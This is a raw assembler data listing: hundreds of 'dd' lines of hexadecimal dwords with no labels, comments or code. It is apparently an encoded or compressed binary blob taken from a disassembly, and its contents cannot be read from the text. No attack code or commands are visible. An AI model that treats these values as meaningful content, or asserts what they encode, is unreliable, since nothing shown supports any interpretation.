dd 0EB1C6C38h, 0DBDF84FFh, 0A269E102h, 602C926Eh, 8017A9h
dd 0F13DFC0Eh, 1C284AC4h, 4CC3CF28h, 75AE0A03h, 0E013A2F7h
dd 1A07D580h, 0A8F14729h, 4008A787h, 0B6B74225h, 18E48B30h
dd 33DA474h, 861AEF3h, 0EBAA25CFh, 0C4E48C80h, 470A8ABCh
dd 9CB8DBD1h, 337F1830h, 0F5800018h, 0A2E9414h, 76009766h
dd 413411E9h, 121916B6h, 1E84906Eh, 2DFF00AAh, 303E4C0Fh
dd 93508E0Ch, 290560CCh, 824E81Dh, 9B1E7B6Ch, 35084DC0h
dd 283AA1F0h, 0AC7096h, 0E38F501Dh, 544E2E95h, 1F605339h
dd 9E007912h, 0A52D3534h, 70C1C0D5h, 2A026DAh, 0AFEE8E00h
dd 40FC486Eh, 0F84E00ABh, 80593D18h, 0DA140FF3h, 2882CE4h
dd 1DE61F52h, 0A5788F47h, 0D80F196Ah, 5448508Eh, 1179620Ah
dd 0E5E400A8h, 7FD1B653h, 0CDA92706h, 3008AC87h, 0BE20E35Bh
dd 162CB2ABh, 0A2001E32h, 3EB8F5C9h, 4E170026h, 0FC4507B5h
dd 0DB01D26Ch, 0A602F1AAh, 24207C01h, 6FF407C5h, 0D02A48AFh
dd 568DF631h, 0ECA2302Ah, 522C3600h, 85FF4360h, 0BEB700BBh
dd 614F1D49h, 7D05258Bh, 0EF776BE4h, 0BD7B9400h, 3B8E3EB5h
dd 728030B3h, 3800119h, 7700A260h, 989465EAh, 0EECAAFB8h
dd 2D7E00CFh, 0D2DFB415h, 0FC003B62h, 0B7DCC7FBh, 9B3112h
dd 82B6F02Ah
dd 0D66116C3h, 4D593Ch, 3EFA4E46h, 3E8826CFh, 0B83D19Ah
dd 9895A469h, 81E4E08Fh, 6D00CC6Bh, 246537E9h, 0DFC57Fh
dd 6677249h, 5C76931Ch, 0B126CB07h, 18E1BC89h, 0DDF0EF92h
dd 406E8B5h, 83817037h, 0FFC0BEB1h, 0EC5E97h, 8201679Dh
dd 3F9FC9E6h, 0E06B30CEh, 74B155F5h, 85A00135h, 331DFE3Bh
dd 9020819Bh, 35D892Ah, 98F0D6ECh, 74F257h, 96ADEA95h
dd 7BDF8C2Eh, 28110630h, 58EF56FAh, 0D600B6CAh, 176D253Ah
dd 0E500B44Bh, 5C340D94h, 72958A7h, 62BC028Ch, 19746101h
dd 6C50874Ch, 0B5466642h, 30E6C030h, 0EC042E7Eh, 12482000h
dd 31AD0D64h, 8CDA006Ch, 58DD870Eh, 3A00D889h, 54CCF782h
dd 5A2665Fh, 6D8BAD17h, 0B7A98018h, 0DC300493h, 2EF6D838h
dd 9A5300D7h, 4515C5BCh, 8D38ED3Ch, 24A18C46h, 53FC1040h
dd 8AC0441h, 20213400h, 4E790640h, 4BAF0F1Ah, 2B20E5C8h
dd 896C5AAh, 8BBC2738h, 80732E0Dh, 0A3F15750h, 1E557C43h
dd 0DF850B0Eh, 0E68BC5BBh, 0A94FC0F7h, 9D009E7Dh, 8E93966Ch
dd 50EB56h, 0FD44E1C3h, 0F50AB63Ch, 0B01811Ch, 0B5FFF6C0h
dd 3385025h, 66BECA2Ch, 0C0EFCF41h, 362DE4BBh, 0B95DC000h
dd 684ECCF0h, 1AFD003Ah, 7B6AAD45h, 0FA002513h, 0A092027Eh
dd 0E2D7AE24h, 4A1201E8h, 0D88FA6FBh, 0DB8BFCE2h, 83504800h
dd 0EAD4DE6Ah, 0C29200BCh, 0E1B9EE3Ch, 935C151Bh, 0B56600ACh
dd 1EA66C75h, 59F60078h, 8AA8639Ah, 8D1D9809h, 61C0E0D6h
dd 8B44ED9Ch, 7970015Ch, 4D221CD3h, 6FB040B1h, 7E005EC6h
dd 0FC0CA6ACh, 7824C413h, 308217BAh, 8AB20494h, 3CD6C090h
dd 97004521h, 6783BB15h, 0E473956h, 1B2CA022h, 1FA6801Dh
dd 697F19A5h, 872B2E00h, 48773F75h, 0C92C3BF7h, 1E01E8D0h
dd 0BEFE703Ah, 37215780h, 0AB479193h, 6E5D7E00h, 3FFC82A9h
dd 9EDC020Ch, 189C43B9h, 27504FC0h, 6CCD5Ch, 0F3BA13Dh
dd 21A69D9h, 4F756709h, 5044B266h, 99D2FC00h, 0AD57B496h
dd 1C95F823h, 4038FEBCh, 0A887868Eh, 4D07F49Fh, 24E148E0h
dd 43166310h, 3F8D002Dh, 59713EDh, 550C9DDAh, 880AD0C7h
dd 0FE890090h, 41B68354h, 0F30BBE16h, 0F814F077h, 0FD8F1643h
dd 0D032F0E0h, 26C12100h, 2CDBF80h, 360C0019h, 1488EC41h
dd 6C00C4CEh, 0B89D035h, 611DEFh, 26192511h, 0B2CC0DB0h
dd 93C16D0Fh, 738DE18Ah, 34D007E4h, 61F24Fh, 9AE5DCFAh
dd 0D3B80A40h, 2B5A292Ch, 1B543607h, 9D8CE36Fh, 834D05Fh
dd 3E2FC7Eh, 8E56DAF3h, 0AD4948h, 685BFAECh, 0F0001983h
dd 4A6092D7h, 3ECDA1B4h, 1C00DB43h, 9190D42Dh, 94002F33h
dd 3B75BCACh, 3D6FD806h, 7B836EEBh, 98E8F652h, 19441EC0h
dd 0A09E4015h, 278400F8h, 682BE28Dh, 617A0069h, 14B91896h
dd 3E7736BCh, 7698AD48h, 53D78A2Eh, 55AF7501h, 4090742Eh
dd 0A86BE30Bh, 86C17Bh, 0CC87B8BBh, 3563204Fh, 6AD5D07h
dd 0B72ECEC0h, 0BE6613h, 0D155B9D6h, 2407FCE8h, 0CD342576h
dd 0C55156C0h, 4EED0062h, 7C7A9BBCh, 0BE002A5Bh, 0D8CA9464h
dd 38C3312Bh, 0B8007F67h, 0FC90AA40h, 3A006039h, 0F478926Dh
dd 16EC4EB0h, 0FAD7E6FDh, 574D2300h, 0D4B569h, 45D29518h
dd 27B0A30Ch, 31410500h, 0F01CAB77h, 65B103D4h, 442302C3h
dd 0C9078F8h, 0C274D130h, 0F2BE5DC8h, 70AB072Fh, 0B1A9E345h
dd 20FFFC0Fh, 0F0C0B2E0h, 0B8AB81ACh, 0CD260008h, 1C8B60EFh
dd 480084F2h, 0C6D5DE6Ch, 3C164FCh, 740A5C59h, 4B89A415h
dd 5D92F498h, 0CCA16A00h, 0CAC824CBh, 0F71D0051h, 9860DB20h
dd 6F1E570Fh, 13C0C777h, 9EB171FAh, 0D444017Dh, 2BE4DFE0h
dd 0F2E1C0D1h, 4CA66100h, 78FC21C7h, 0AF27001Dh, 52B0B6F4h
dd 9C072271h, 4C09B455h, 0D1C72DE0h, 3EF0E102h, 0CEB000C0h
dd 9EF6FCECh, 1A124355h, 0DD013F49h, 764460E6h, 3D5F7280h
dd 0FDD66CEh, 0F935B43Dh, 0DBEDA200h, 0A6D845F8h, 242C0010h
dd 0D6C5DCECh, 26EA35A5h, 8C510D00h, 0B6B3FABBh, 76ED0597h
dd 0F7B2B4h, 0C10CFFF3h, 0DD00269Eh, 0B8E3C096h, 0D7CCD4h
dd 0AE445798h, 7D58F41Ch, 0F2B47B00h, 0F6AB882Dh, 0D93C001Bh
dd 296D43BDh, 3F07F932h, 6056DDB0h, 6E806B70h, 644A0F86h
dd 1921E21Dh, 22D0F17Bh, 808700B4h, 715B3E6Ch, 889D00C5h
dd 0E1E6B6EBh, 5E03165Fh, 0F955E733h, 60468A83h, 635ABD6Ch
dd 61CC40DDh, 158AC4Ch, 5CC1CDDAh, 0B4D48763h, 65222421h
dd 97740094h, 1607C29Eh, 0D8B208E0h, 20EE0300h, 0A43388A3h
dd 0FF4928Ch, 0A2F36E0Eh, 5FD82A21h, 5A82D0F1h, 0E0F95714h
dd 0DD53E02Ch, 14721880h, 0C711D116h, 8910D700h, 0F061F950h
dd 0E76600B7h, 0AEE4B53Ch, 44017C47h, 0F1F3712Dh, 4F21629Bh
dd 2992D8EBh, 0FE74078Bh, 509A0841h, 177B3DE3h, 47AB8E03h
dd 0C07C8ABCh, 0C09382h, 8329B2CAh, 0E88C4B3Eh, 622F7200h
dd 7E670FA4h, 8E2B008Bh, 3394DE9Ah, 64002734h, 132ED504h
dd 0F79B3Dh, 0DB323F19h, 0C86DC731h, 79F81724h, 8FAA5400h
dd 17C6E6E5h, 4099CBF7h, 16CEAC48h, 644C0ABCh, 0D02A0131h
dd 93782831h, 4EC7720h, 3B561157h, 7614C0BBh, 0E80F2905h
dd 20A27B36h, 44840CB2h, 44603EBh, 3E3370C0h, 2F0DEA00h
dd 7687D881h, 0D59300ECh, 16698AFAh, 3C3AC7DCh, 5CD68190h
dd 369BA615h, 0E4A86194h, 7098700h, 0D5656A7Bh, 68583717h
dd 7C113000h, 28D7BEh, 2F619597h, 5EE1158Ah, 363FED00h
dd 3125F406h, 93B20016h, 94FA8BACh, 80054A6h, 10BFD003h
dd 0B9FCCAh, 3A8DC047h, 7877C392h, 103E1F8h, 597E715Ah
dd 4D080DDh, 5E4300F6h, 1244E716h, 84385FA5h, 7DC2804Bh
dd 477F025Bh, 727004CFh, 81213B68h, 9D47844h, 0E006422h
dd 0AE3D3A89h, 41B79BEDh, 39CC2578h, 612B03C9h, 5D665F92h
dd 216D3E0h, 0E4839100h, 41DEF0FFh, 1D0B0F20h, 2769E5Fh
dd 0AF765370h, 0AD0E68C5h, 6088082h, 0B18821h, 3A3CC0AFh
dd 5CC4E9F7h, 3B2B7604h, 0C3C0BFF9h, 603E50B6h, 1D9EF01Bh
dd 37B88378h, 0F649E677h, 0F0FA00CCh, 3859FED0h, 7B8A01A2h
dd 11AA450Eh, 0DD1C705Ch, 7528D109h, 65B81816h, 5EE000FAh
dd 76BB56B1h, 0C001101Dh, 952355FFh, 0E82469CDh, 32150488h
dd 0C04A677Fh, 2FD7D19Ch, 4921CE30h, 3E7105A7h, 760545DCh
dd 0C03C04F7h, 0C6EAC590h, 22AD1E00h, 949C7D44h, 0E0657815h
dd 410900D3h, 8718CB53h, 0F300D835h, 0FE7FFC76h, 0E0D5680Ah
dd 5D0F00EBh, 0F6B7558Eh, 4F03D96Eh, 0BFC22C99h, 3C59A049h
dd 1FB1017Eh, 6A9803F1h, 36ACD4B5h, 643B9F0Eh, 0FFF560D9h
dd 49F4D183h, 0BB39E80Eh, 5000ADC0h, 0D861121Bh, 17309E9h
dd 0B47725BEh, 20BB2D40h, 0D100B609h, 90AE59Bh, 1EFE4EAFh
dd 801920ECh, 0ABC6A2FBh, 741341CCh, 8400C17Ah, 26FA43BEh
dd 1EA9011Bh, 956606F0h, 4C73C5h, 0E8EFDF2Dh, 25578046h
dd 348097EDh, 5230D33Dh, 96607307h, 351008A9h, 0E1C437h
dd 362DFBB3h, 0C1BBF912h, 208D221Fh, 0EB0DCC07h, 866A7670h
dd 82C899A3h, 0C9FD8FCDh, 0B8CED8A0h, 0D0005CA2h, 7A952A5Ah
dd 24050DE3h, 0C04C548Ah, 0B127C8B5h, 5C860700h, 0C957D840h
dd 441A015Fh, 6AC33DBBh, 2C93CD8Ah, 0E4E600BCh, 0A6915B01h
dd 187C3CCDh, 0CF50528Ch, 2E004B79h, 87F7A388h, 5E2425Ch
dd 6CCC16FEh, 6696005Dh
dd 0B11BC38Fh, 0FA6BEC00h, 0C74A335Bh, 85820FB5h, 0ADA01587h
dd 0E4D2ECFh, 5944510Eh, 33C7E11Ah, 9FEB5618h, 177052F0h
dd 0D89E587Ah, 0E3D92900h, 267B2746h, 3C379100h, 0E5B89744h
dd 0B7F069h, 7CF48E2Ah, 77235689h, 183A3700h, 0E7E4125h
dd 20F0912h, 0CA9BECEh, 46763420h, 6205FE2Dh, 84E3AB35h
dd 220D9800h, 4B327Dh, 8095507Fh, 0AF2EC240h, 0C5094100h
dd 7BCBAA31h, 965900D3h, 23426EAEh, 6D008940h, 0AC4E267h
dd 71D2D5Fh, 0B27651DBh, 0AD806B14h, 1CA75859h, 85A1A200h
dd 25ECAF30h, 0D30B0016h, 0F99F961Fh, 6907D0B4h, 1E6CCDEDh
dd 97C39440h, 82C002C8h, 1C44AC1Fh, 0BF8EA060h, 5861402Eh
dd 0EE00FD1Eh, 0A549ECE6h, 9FA100F7h, 3AA0E2D7h, 20B870D0h
dd 6A352604h, 18B003E6h, 0EF8E1C87h, 0E1484055h, 80259F82h
dd 0C4C65F0Bh, 44C0AF2h, 0A08FA9CFh, 69C398DCh, 5D4B17h
dd 0B3910AF0h, 37096699h, 0B09759B0h, 196274h, 7C1EE368h
dd 0AEC75D82h, 0D5FF500h, 0D5FEE050h, 0D9E50011h, 0DB582B4Ah
dd 3B58D39Fh, 66BDC044h, 7AFFFBh, 1A63D26Dh, 0BED3A107h
dd 75E88600h, 25C45137h, 710107E5h, 2F0DBA9Ch, 81868E00h
dd 7903B222h, 0BE54FD6Dh, 630EA185h, 42F2F8h, 2A565115h
dd 3404ED98h, 0A0008D73h, 3B447E0Ch, 0E52C6Dh, 0EC852522h
dd 762A3058h, 8060533Bh, 48733312h, 0E7F655h, 3D6D6A2Eh
dd 5213650Ah, 89E25D00h, 8C9E29F8h, 9D0403E1h, 0C2DCDD55h
dd 799AB0E0h, 0B1F61D00h, 2E6C75BAh, 0D27F0A04h, 965A2Ah
dd 0FA8DE0E5h, 2600594Ah, 0EC91131Ch, 0F29F88DBh, 0DE870012h
dd 0E689F75Dh, 0B30EACCAh, 0A017E81Bh, 5C7D217Eh, 90B0054h
dd 50D52FF8h, 0FD00A77Bh, 0EA8F4639h, 0EA4E059h, 6489746Ch
dd 53712B60h, 822EC488h, 20804894h, 573CF6F7h, 6D8D0291h
dd 0F3645E79h, 19E020E0h, 6CCDE12h, 0E9BFB420h, 3C3300A4h
dd 69B09143h, 0C3C6F10h, 1EBD8124h, 51C1E5E2h, 8534C0F3h
dd 0DF291372h, 219047C6h, 97E7F1B4h, 3ED6D096h, 72F80501h
dd 918E094Ah, 80E6E865h, 30152318h, 0A547012Ch, 0CD895F9h
dd 8A37DCF2h, 0A2008F7Dh, 78D1FE44h, 0EF5D4Dh, 0F6E9D76Eh
dd 91199626h, 85583118h, 7B7D3DE9h, 0E6D80C3Ch, 4C209780h
dd 844058D1h, 4D73A420h, 4995A802h, 80518A5Ch, 94FC6F50h
dd 756E05A2h, 0C0091466h, 51A0EA54h, 82887007h, 0C980C15Eh
dd 72E04B13h, 0B570FBFCh, 0A96800DCh, 0F0E876D8h, 0F9003F9Bh
dd 4B1299AAh, 0FCB5645h, 0DB1C6A75h, 38B62FA3h, 0F4B8D7B8h
dd 0C601D07h, 0F1E046D3h, 6C1F70h, 0F83FCFEFh, 15FEA941h
dd 0A9BB4Ch, 9EC804DCh, 186ADED7h, 0E017C5CCh, 62005CEDh
dd 0D54A35DAh, 68A1E6F9h, 397C08D1h, 5AE1D000h, 849F0739h
dd 85543700h, 568D146h, 0DAB10CE8h, 0CD58DB5Bh, 43D7B8Ch
dd 0AC9D4A68h, 20B022E5h, 2EE1D761h, 0AAED300h, 5FA73258h
dd 74C20025h, 0D0204F3Ch, 0DCB4EAEEh, 560C0D00h, 3DE538D5h
dd 0E4B38E72h, 2107EB08h, 6655322Dh, 0C53A2580h, 882360BFh
dd 75A046E2h, 79A32733h, 50F1E1FCh, 0EA702CC7h, 20201805h
dd 321888EFh, 0A129115Ah, 0C4AE0010h, 0C74684FFh, 3113CCC0h
dd 44C079C6h, 0AAE8D2h, 6E350BC8h, 540E246Dh, 58E35F30h
dd 125D196h, 0DAC8B66Fh, 0FBA02851h, 0DE69D817h, 3779E0Fh
dd 0FB4472A6h, 42343CC5h, 5AF5CB80h, 0AEF34B67h, 84715B98h
dd 738EC201h, 1941052Eh, 7D92B1F0h, 0C0360013h, 0BBC58048h
dd 0F5003026h, 0F2BE7505h, 96F06Fh, 0A5D2298Eh, 9F3C5211h
dd 640A041Fh, 0ADBA7F00h, 259312h, 2AAB71A4h, 0AA3C29D9h
dd 35136907h, 7281464Ch, 288FCAC4h, 61EE051Ch, 0F83E5620h
dd 7D76D06Ah, 0C783Eh, 0E821114Ch, 0BA80E4h, 0A9255062h
dd 0FB7FED0Ah, 9B2FA100h, 0B01137E6h, 0BB60F8Bh, 0AD402713h
dd 9A1FDB56h, 2B20E000h, 8B5D8159h, 19020083h, 6FFC4E07h
dd 5A0036BAh, 0A9567F3Fh, 611FF4h, 9B342CA5h, 929CAB99h
dd 5B390C00h, 0EBF9E216h, 68BE0020h, 26771E50h, 0A5079397h
dd 0B9166C30h, 0A45B29C0h, 0D6AE061Ah, 0B9DD066Bh, 238A78DEh
dd 0B91C8C3Dh, 3539A600h, 2A4565h, 3E7B1BD4h, 1C4E37DBh
dd 9392F007h, 0FCB08FBDh, 12DA15BCh, 0A8B434h, 92B5AFC6h
dd 0DE000727h, 19409E6Bh, 96FFA7h, 2EB2017Bh, 77F9E8D7h
dd 69F11200h, 2DC815E7h, 0CCA63A4Ah, 0D456E003h, 0A0E898F9h
dd 500084FDh, 0C0B08D0Eh, 0FB8C88h, 0F95E6B7Dh, 0CBB76D55h
dd 8200E773h, 0D9D47A58h, 33C96C5h, 6CAC75E1h, 81B6DF6h
dd 80205947h, 391B96BDh, 0B483B054h, 6F17CEECh, 208D98D0h
dd 0CA64E300h, 8A04FFAAh, 0AB998EFh, 1037EE7Bh, 0F11B005Ch
dd 23BC44DCh, 53103242h, 149D0050h, 516DC7F1h, 72A00C8h
dd 0CD4D4903h, 0E3509584h, 0FF60AECFh, 65E1F9B1h, 5A3E0039h
dd 0D9BEE220h, 0B15E0651h, 2E07F1ACh, 90347A57h, 20971ED0h
dd 6FE6321Bh, 0F9F6A17Ah, 69142080h, 0D171A5D0h, 0B6DBAD2Ch
dd 137BF100h, 0A85B64BBh, 86BC4394h, 0E00A9390h, 94879648h
dd 24474164h, 2617D0D1h, 0D075DE4Ch, 0A7EF500h, 0EE32812Eh
dd 94110F2Ch, 39002FF7h, 9D5E45AFh, 69CBB801h, 0E00F7F72h
dd 1CD3D0E8h, 1E6B8254h, 7C674086h, 0DC61B846h, 18917801h
dd 8BBF9966h, 0EA6530h, 0C1451C79h, 283FE5E1h, 2A3ADA00h
dd 0C414D463h, 0BA609D9Ah, 517AF9F0h, 0DB5D7D00h, 4E0B08BAh
dd 81B539F6h, 47E0991Ch, 80501A97h, 89F03667h, 22C7271Ch
dd 0BE3CFE80h, 0E0B4B325h, 0D1FEFDh, 52FF96D0h, 6AB8BBE3h
dd 0C5453700h, 15F75805h, 0D2BE0101h, 0AD6CA27Ch, 578CCCC6h
dd 0E90359F8h, 0B2ED8E02h, 0D0A6A04Eh, 0ACD400E4h, 42F91C88h
dd 4300AFD1h, 489998A0h, 0CB424C6h, 14EEC91Bh, 1100E820h
dd 0CE44BEC8h, 7DC4A5h, 5DBC63B7h, 27C77B9h, 5759500h
dd 2E211561h, 0E61C008Fh, 2FBC3FE4h, 95063B59h, 168DF2A9h
dd 3320650h, 80DDDE71h, 9E1E3F78h, 90FB9BBh, 0F256806Ah
dd 740BC20Dh, 38EF6062h, 25547401h, 21932450h, 7C2E0219h
dd 0A530C188h, 92060119h, 3E38AC6Ch, 8EA9F0B1h, 35700363h
dd 0B821800Ah, 0C580156h, 0B5B9FD9Ch, 6C38E894h, 666E7800h
dd 4E69E75Ch, 776F0096h, 9772DBE6h, 6007994h, 54DE3F52h
dd 0D60BA2h, 99FED89Ah, 30EB6EBh, 1D380D00h, 0A4D43021h
dd 60B9EEF1h, 333D3018h, 0E87CE934h, 22B86600h, 3C7BDFB6h
dd 59A0174Bh, 4D1200C9h, 0A36E813Dh, 8BAC2A3Ch, 2F22C05h
dd 6033372Dh, 1FA01CD5h, 80ADB5F1h, 72F74C08h, 0AE001BE6h
dd 94063C64h, 0EF17E5h, 0C830A290h, 1BC7C0B2h, 8240673Bh
dd 0CD551204h, 0DE3240ECh, 0D1B1602Ch, 34C5785Ch, 0D49EF90Fh
dd 8EA60079h, 18D9C95Fh, 303B97D3h, 440090B9h, 0A845B152h
dd 26392h, 7EAF6042h, 0D64E677Dh, 4BBC7700h, 269F6589h
dd 0F07B006Ah, 0C68E6137h, 0F00237Ah, 16D36956h, 74F4B971h
dd 0FD1700C5h, 1DC630FFh, 600C3EBh, 0E266A5C8h, 0C69D3C26h
dd 20A47008h, 6103607h, 7320634Dh, 9D42C3h, 0BF29BAEFh
dd 0A3D16CE1h, 0B2B6F0Ch, 1F51189Eh, 160AD10h, 0EEC31979h
dd 0C0FF39Ch, 40BAC6A2h, 0D16731CBh, 0C2690050h, 2BD9F31Ch
dd 0FC0CA409h, 78548BFBh, 0E8974E74h, 0E93A008Ah, 9F7F84E0h
dd 0C0FAC1h, 0E819DBEFh
dd 0F02103BAh, 6C70B960h, 0A8676ECh, 8B1DEFDDh, 0AFEB0BAFh
dd 0B3C41C80h, 0C27482F1h, 20F31A30h, 72E86F0Dh, 0F2A7C9Bh
dd 9F37BEA6h, 27267F8Eh, 0EC00D005h, 7B0EE65Ch, 54A36Fh
dd 4C38DCA7h, 85AD87B2h, 0B7F5C000h, 7C24E72Ch, 8F7D5Dh
dd 35811E1Fh, 7A6E9421h, 0BA938300h, 0EA923469h, 3591C3Ah
dd 9B7040C1h, 0AE05A6C3h, 52824800h, 95CF1B56h, 0E5F10F80h
dd 0ACE13BC2h, 0F0E3F9C1h, 6F3AC94Fh, 0AFE080DEh, 76694426h
dd 0C1B0008Ah, 20B6431h, 8600CB7Ah, 5483D1ECh, 0B327D4h
dd 8DD83577h, 0FE1B171Eh, 0AFB83800h, 0CC890ADFh, 12EF2418h
dd 4DD627F0h, 5CCA8B00h, 5614C07h, 2AF69BBBh, 0D68B80AAh
dd 97FECE16h, 0E1A32C04h, 0BB8596B9h, 380E4680h, 0EB100014h
dd 8030487Eh, 6A00E19Fh, 0BB2ABD96h, 3E17A0h, 93A1FE69h
dd 401FAC18h, 0F23FD800h, 0B673C31Ah, 811000DDh, 67DC7806h
dd 200B880h, 1A172BA9h, 3CB1189h, 5148A060h, 1288718Eh
dd 0F5003B7Ch, 21FB1523h, 2E984759h, 77D3CEh, 0DC40D44Dh
dd 2BEBCCCDh, 3A7637F0h, 300770Dh, 4F62959Ch, 0A238B21Bh
dd 0C4F67DAFh, 76C5A101h, 411E6C47h, 277570h, 37A2F213h
dd 2BBE0243h, 326D5Ch, 0B64033FCh, 38607224h, 0AC00D666h
dd 44E00822h, 8E002E51h, 8474F2FFh, 2C45AA35h, 461653h
dd 29908DE7h, 0B6003FC6h, 0C69061Dh, 0C039BDh, 3754622Dh
dd 6AE30278h, 75D618C5h, 660A046Fh, 0E0D3CBh, 0F762D7AEh
dd 0FF00A21Bh, 0CF89797Dh, 97E0417h, 0C406675Ah, 18192480h
dd 1C0C4230h, 29EDDBA2h, 0A428476h, 0BF2A7208h, 80F07708h
dd 56D6DD8Ah, 0DB77EE67h, 617F1580h, 4BD37824h, 0DEB60178h
dd 8F922990h, 2F11D1BDh, 43D51C4Eh, 10367872h, 0F6640957h
dd 0E0208B28h, 0FA807CE5h, 25528830h, 14A7A1CAh, 5140EC0Ch
dd 79DA63DEh, 28D6A666h, 758852FAh, 27D40E7h, 2A886420h
dd 0A0F1EEh, 897CB55Fh, 32F7209h, 34A8D100h, 0FD672063h
dd 0DC1C033Bh, 0E06CCB16h, 3F256DF8h, 0E41BC000h, 85C3245Fh
dd 1580052Ah, 0C0442C17h, 774DBFECh, 0D4C90800h, 46362F33h
dd 0ECB3FD9h, 0C5F63F03h, 0D2C82BF7h, 0FE019A68h, 0ACDB64DEh
dd 17C0A05Dh, 7DD1000Fh, 392CCD0h, 0DC0FE02Ah, 0CB45A1h
dd 0D87CBA2Fh, 11E96A16h, 0FDD11EA5h, 585D1C00h, 9DDFA2E2h
dd 1C1C0248h, 0CD40B64Fh, 8F65D5B1h, 1C8D3F76h, 13830880h
dd 398C3323h, 6FC3A200h, 864B2264h, 799A009Ch, 0DDD72062h
dd 0B1E46D16h, 2AF8491Fh, 66561500h, 261EEABh, 0B244B86Fh
dd 544040EDh, 25034B1Fh, 0BC39176Eh, 49F5A0ADh, 7B36009Ch
dd 0E618AB32h, 0C800935Eh, 0B253A2DAh, 86456Ch, 9A67D531h
dd 127673A1h, 9DDCE63Eh, 5E94D091h, 390076EEh, 0F37B45D1h
dd 907F6DC3h, 0CAA800DEh, 0AFEC353Fh, 0FD1E951Fh, 810C062Ch
dd 46B8E0h, 4763E9A0h, 0D0F63960h, 0D2D42000h, 0A53E7A29h
dd 74900EBh, 44B40E9Ah, 0F97D1866h, 34DE73Eh, 34B2AD0Ch
dd 0A6D3D078h, 0CC772Fh, 0F6A83943h, 10AABA3Eh, 0F9A6100h
dd 0C3841A75h, 0D41848C6h, 46B42100h, 35E7D8CFh, 0EBC82E01h
dd 0C23EBCC1h, 9B9F9C4h, 3D05165h, 0BBEA1880h, 147CD256h
dd 0CF0D3F00h, 1D2ACA5Ch, 0D48A00E4h, 0D72F21DAh, 7C00435Bh
dd 9968A410h, 13F5E5h, 9F4D322Bh, 41A57678h, 355E0500h
dd 0A0CC5C9h, 0C446002Ch, 0F1643EDh, 0C200634Ah, 158A8711h
dd 7E1DCCh, 0D7218EB7h, 0E798F9Dh, 0EF19D900h, 9FCEA4A1h
dd 59830018h, 4FB15F5Ah, 0EB00B24Dh, 114708C4h, 449EA66h
dd 18A1F583h, 6B3890FBh, 12EC3D64h, 9AADB800h, 0D23B941h
dd 0B4150444h, 87322676h, 0A3CD2017h, 9800375Ah, 0AD8E0B5Bh
dd 34227E8h, 6F03267Eh, 0A7C8A55Eh, 68E26E4Bh, 9CCFD124h
dd 23D9B801h, 0A0F88A66h, 9F4B006h, 9A6C5FC2h, 62DA8680h
dd 8F0076DCh, 912398FCh, 84D0C4h, 1C455587h, 78CEFAA6h
dd 0E2B22E00h, 0A435882Fh, 0EC5D0FF4h, 0DD20F6DCh, 2A571342h
dd 0B6694100h, 0CEC031EDh, 567900ECh, 0D0340D84h, 0A074E49h
dd 2F07858Eh, 0E414802Eh, 0EEF805h, 4A26D2C0h, 8A987F20h
dd 61C70F03h, 0F870D642h, 3C581A51h, 4D801F45h, 6A7D6BA6h
dd 971E53A0h, 98C0340Ah, 0A90F0311h, 9B640FE0h, 0BAA07D16h
dd 0A0977EBEh, 0AB629CA0h, 0EC33B200h, 0CDD9EBBFh, 603902F2h
dd 3D84A3D7h, 0A090A840h, 4CB22B1Dh, 913BDA40h, 5EE034h
dd 0D43D164Eh, 0A815482Fh, 17B56F00h, 0EA349D89h, 0A70803CBh
dd 581FB487h, 1A09E788h, 0F88FB900h, 12488D4Bh, 233D0C76h
dd 776855D5h, 9C00D7E2h, 0CAB3F783h, 0F7FE3h, 0EB20E14Bh
dd 261267C3h, 1651FD73h, 0A103F08Bh, 40FA511Dh, 9E2347C1h
dd 16D05870h, 0EEE71C30h, 7D7B80D7h, 962F1EEDh, 17B18300h
dd 0AB8A933Bh, 0C70800BDh, 8EBA78AAh, 287DDE51h, 8D005D73h
dd 97EC0C58h, 1F53FA18h, 4013A4D1h, 2971ED77h, 47002591h
dd 618F54B1h, 768C69h, 3794E828h, 17C4F155h, 837FD4A2h
dd 88302C19h, 0FCA1DBh, 0DAE5F8C1h, 0A793E3B8h, 894C1C0Bh
dd 5A00FF50h, 67B3A4DEh, 4F7A2507h, 0C70428Ch, 55A6ABh
dd 3061BA84h, 81D9EC36h, 0DFE63Bh, 773C1A6Ah, 0F435C8h
dd 0C4C9A77Ch, 0F55E4C4Ah, 78738500h, 0E1450455h, 0C6473F72h
dd 5ACF01FAh, 0BC6E1C13h, 94A6C8C0h, 0FEB0100h, 3705285Ch
dd 0BFCD0069h, 0DC9A62C7h, 2E7A0ADFh, 0FC359F06h, 48509E4Eh
dd 2800357Bh, 0FE2FDDFBh, 1E0075D5h, 27A03A4Ch, 473988h
dd 1B23B7E2h, 68C41DA1h, 20F47100h, 9585CB62h, 9804005Fh
dd 40A1E1B4h, 73004783h, 249CC24Ch, 7745DA50h, 824B01BFh
dd 23B30BC0h, 0F462CD8Fh, 0BC9829F5h, 9E63EF06h, 3D28640Eh
dd 0EC15C68Dh, 1266C058h, 3A0081B6h, 4D71B1C8h, 701F16h
dd 0F298EE1Ah, 2A84EF85h, 2120D600h, 730F0B90h, 6E220011h
dd 0F3156053h, 7005C2Bh, 4B32DC71h, 9E3A0Eh, 0AB5FC33Eh
dd 0C1187489h, 0F173CA1Fh, 29325C00h, 3D44D22Dh, 4F9E4823h
dd 0F73A0084h, 4D5B750Dh, 17D75601h, 0AF58716h, 39FFA060h
dd 5039A71Ah, 7CC92981h, 6042BEFDh, 5E009688h, 8564EDC7h
dd 4C99D3h, 0AD6B8F79h, 0C493DC4Eh, 86371600h, 0CC635422h
dd 0F1180FC2h, 65E0961Bh, 7BF3D2Ah, 0B403F2FCh, 97B30501h
dd 5A4BE814h, 2CDF00C1h, 303BE2FFh, 0BC5CCB40h, 72A7001Bh
dd 87E943A8h, 0D12A0013h, 9224756Dh, 67138C0Fh, 44147BD3h
dd 95FB0010h, 2C20A8C0h, 0B83A5C4Ah, 0DB804848h, 82BC23C3h
dd 78F5D700h, 10E4E9EFh, 17FA008Dh, 8607E52Bh, 4EE8CD7Ah
dd 7268C500h, 0F5780A25h, 81C300BDh, 0B630742Eh, 7502A73Bh
dd 718A960Ch, 6F34487Eh, 1F66072Bh, 70B3C88Fh, 0CBD73CCh
dd 4AF13809h, 0D484A409h, 167A7880h, 44BB0088h, 66047F0Fh
dd 240CDBA4h, 740CC6D5h, 0BF1800E4h, 0E59788E7h, 671F6496h
dd 0F6002D0Bh, 2EF9ADBAh, 1DC31230h, 661C00FCh, 0E16C1B51h
dd 9300E9F4h, 48E55ABDh, 0B0C81690h, 51C71D34h, 0A643C0FCh
dd 0CCEF486h, 1C1D8C7Dh, 3449D5FBh, 717480C4h, 7B57A23h
